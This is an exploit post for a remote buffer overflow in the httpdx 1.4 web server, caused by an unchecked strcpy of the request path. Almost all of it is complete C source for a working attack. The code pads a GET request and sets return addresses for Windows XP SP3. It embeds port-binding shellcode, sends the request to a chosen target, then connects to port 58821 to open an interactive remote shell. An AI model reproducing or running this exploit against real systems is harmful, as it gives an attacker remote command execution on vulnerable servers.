httpdx 1.4 Buffer Overflow Exploit

`httpdx web server 1.4 is vulnerable to a remote buffer overflow using long GET requests such as http://www.example.com/aaa=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...  
The vulnerability lies in httpdx_src/http.cpp in h_handlepeer() : strcpy(index,client->filereq);  
  
Other versions may also be vulnerable.  
  
Exploit (0day) (Tested with httpdx 1.4 on WinXP SP3)  
  
  
#include <stdio.h>  
#include <stdlib.h>  
#include <error.h>  
#include <sys/types.h>  
#include <sys/socket.h>  
#include <netinet/in.h>  
#include <arpa/inet.h>  
#include <unistd.h>  
#include <netdb.h>  
#include <fcntl.h>  
#include <unistd.h>  
#include <string.h>  
  
/* 128 byte portbinding shellcode (for WinXP SP3) port 58821  
Derived from shellcode written by silicon */  
unsigned char bindcode[] =  
"\x89\xE5"  
"\x83\xC4\xEC\x33\xC0\x50\x50\x50\x6A\x06"  
"\x6A\x01\x6A\x02\xB8"  
"\x6A\x8B\xAB\x71" // WSASocketA()  
"\xFF\xD0\x8B\xD8\x33\xC0\x89\x45\xF4\xB0"  
"\x02\x66\x89\x45\xF0\x66\xC7\x45\xF2\xE5"  
"\xC5\x6A\x10\x8D\x55\xF0\x52\x53\xB8"  
"\x80\x44\xAB\x71" // bind()  
"\xFF\xD0\x6A\x01\x53\xB8"  
"\xD3\x8C\xAB\x71" // listen()  
"\xFF\xD0\x33\xC0\x50\x50\x53\xB8"  
"\x40\x10\xAC\x71" // accept()  
"\xFF\xD0\x8B\xD8\xBA"  
"\x7B\xD3\x81\x7C" // SetStdHandle()  
"\x53\x6A\xF6\xFF\xD2\x53\x6A\xF5\xFF\xD2"  
"\x53\x6A\xF4\xFF\xD2\xC7\x45\xFB\x41\x63"  
"\x6D\x64\x8D\x45\xFC\x50\xB8"  
"\xC7\x93\xC2\x77" // system()  
"\xFF\xD0"  
"\x31\xC0\x50\xB8"  
"\x12\xCB\x81\x7C" // ExitProcess()  
"\xFF\xD0";  
  
  
/* ripped from TESO code */  
void shell (int sock)  
{  
int l;  
char buf[512];  
fd_set rfds;  
  
  
while (1) {  
FD_SET (0, &rfds);  
FD_SET (sock, &rfds);  
  
select (sock + 1, &rfds, NULL, NULL, NULL);  
if (FD_ISSET (0, &rfds)) {  
l = read (0, buf, sizeof (buf));  
if (l <= 0) {  
printf("\n - Connection closed by local user\n");  
exit (EXIT_FAILURE);  
}  
write (sock, buf, l);  
}  
  
if (FD_ISSET (sock, &rfds)) {  
l = read (sock, buf, sizeof (buf));  
if (l == 0) {  
printf ("\n - Connection closed by remote host.\n");  
exit (EXIT_FAILURE);  
} else if (l < 0) {  
printf ("\n - Read failure\n");  
exit (EXIT_FAILURE);  
}  
write (1, buf, l);  
}  
}  
}  
  
  
int main(int argc, char **argv)  
{  
char buff[1100];  
long ret1 = 0x64f8134b; // pop ret (core.dll)  
long addr = 0x63b8624f; // Required to reach ret instruction  
long ret2 = 0x7c874413; // jmp esp (kernel32.dll)  
long *ptr;  
struct sockaddr_in target;  
int i, port, sock;  
  
  
printf("\n---------------------------------------------------------------------\n");  
printf(" [*] httpdx 1.4 GET Request Remote Buffer Overflow Exploit (0day) \n");  
printf(" [*] Written and discovered by Pankaj Kohli <http://www.pank4j.com> \n");  
printf(" [*] Tested with httpdx 1.4 on Windows XP SP3 \n\n");  
  
if(argc < 3)  
{  
printf("[-] Usage: %s <Target IP> <Port>\n\n", argv[0]);  
exit(1);  
}  
  
port = atoi(argv[2]);  
printf("[+] Creating payload \n");  
  
memset(buff, 0, 1024);  
strcpy(buff, "GET /abc=");  
memset(buff+9, 'A', 616);  
ptr = (long *) (buff + 625);  
*ptr = ret1;  
ptr++;  
*ptr = addr;  
ptr++;  
*ptr = ret2;  
ptr++;  
*ptr = 0;  
strcat(buff, bindcode);  
memset(buff+765, 'A', 244);  
buff[1009] = 0;  
strcat(buff, " HTTP/1.1\r\nHost: 192.168.2.1\r\n\r\n");  
  
printf("[+] Connecting to %s on port %s \n", argv[1], argv[2]);  
target.sin_family = AF_INET;  
target.sin_addr.s_addr = inet_addr(argv[1]);  
target.sin_port = htons(port);  
  
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)  
{  
perror("[-] Socket \n");  
return(1);  
}  
  
if(connect(sock, (struct sockaddr *) &target, sizeof(target)) != 0)  
{  
perror("[-] Connect \n");  
return(1);  
}  
  
printf("[+] Sending payload \n");  
if (send(sock, buff, strlen(buff), 0)== -1)  
{  
perror("[-] Send \n");  
return(1);  
}  
  
close(sock);  
sleep(1);  
  
target.sin_family = AF_INET;  
target.sin_addr.s_addr = inet_addr(argv[1]);  
target.sin_port = htons(58821);  
  
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)  
{  
perror("[-] Socket \n");  
return(1);  
}  
  
if(connect(sock, (struct sockaddr *) &target, sizeof(target)) != 0)  
{  
printf("[-] Exploit failed. \n");  
return(1);  
}   
  
printf("\n[+] Dropping to shell \n\n");  
shell(sock);  
return 0;  
}  
`